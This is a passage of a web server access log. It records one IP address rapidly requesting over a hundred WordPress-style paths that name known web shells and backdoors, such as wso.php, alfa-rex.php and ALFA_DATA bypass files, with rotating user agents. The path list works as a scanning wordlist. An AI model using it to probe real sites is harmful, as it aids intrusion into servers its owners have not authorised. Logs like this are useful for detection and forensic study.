"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:03 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:04 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:05 +0300] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-includes/sitemaps/providers/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-includes/style-engine/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /js/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:06 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:07 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:08 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:09 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:10 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:11 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:12 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:13 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 